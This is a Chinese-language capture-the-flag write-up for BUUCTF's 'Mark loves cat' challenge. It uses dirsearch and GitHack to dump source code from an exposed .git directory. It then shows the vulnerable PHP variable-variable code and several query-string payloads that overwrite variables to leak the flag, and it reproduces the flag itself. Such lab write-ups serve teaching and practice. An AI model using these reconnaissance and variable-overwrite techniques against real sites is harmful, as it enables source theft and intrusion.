BUUCTF [BJDCTF2020]Mark loves cat
一进入环境,毫无头绪。
使用dirsearch
扫出了/.git/
,可以猜出本关一定与git源码泄露有关。
python .\dirsearch.py -e * -u http://7cb1db04-980a-4af8-856b-7f6cd5ea231d.node4.buuoj.cn:81/ --timeout=2 -x 400,403,404,429,500,503
使用GitHack
尝试从网站上扒出源码
python .\GitHack.py http://7cb1db04-980a-4af8-856b-7f6cd5ea231d.node4.buuoj.cn:81/.git
其中在flag.php找到:
<?php
$flag = file_get_contents('/flag');
其中在index.php末尾找到:
<?php
include 'flag.php';
$yds = "dog";
$is = "cat";
$handsome = 'yds';
foreach($_POST as $x => $y){
$$x = $y;
}
foreach($_GET as $x => $y){
$$x = $$y;
}
foreach($_GET as $x => $y){
# 存在(键值为flag的键值对)的值绝对等于这次比较的键值 且 这次键值不等于flag
if($_GET['flag'] === $x && $x !== 'flag'){
exit($handsome);
}
}
# 不存在键值为flag的键值对(get型) 且 不存在键值为flag的键值对(post型)
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}
# 存在(flag,flag)(post型) 或 存在(flag,flag)(get型)
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}
echo "the flag is: ".$flag;
exit
也是一种输出,我们需要执行到exit将flag值输出。
解法1:exit($handsome);
首先输出 \\(handsome,就要将 \\\)handsome 的值转为 \$flag ,即handsome=flag
并且为了满足条件,需要有键值为flag的键值对,即flag=xxx
,改变flag的值需要改回来,所以flag=a&a=flag
(flag=a不会将需要的flag值先给覆盖了吗?)
payload1:?handsome=flag&flag=a&a=flag
payload2:?handsome=flag&flag=handsome
flag在页面源码底部flag{e6908c89-a3ba-4212-b43b-2ceca40f2367}
解法2:exit($yds);
GET,POST 都不输入flag键就可以,只需要将exit中的 $yds 改为我们需要的 $flag
payload:?yds=flag
解法3:exit($is);
同样需要将exit中的 $is 改为我们需要的 $flag,同时满足if条件存在get型的(flag,flag)
payload:?is=flag&flag=flag
参考链接: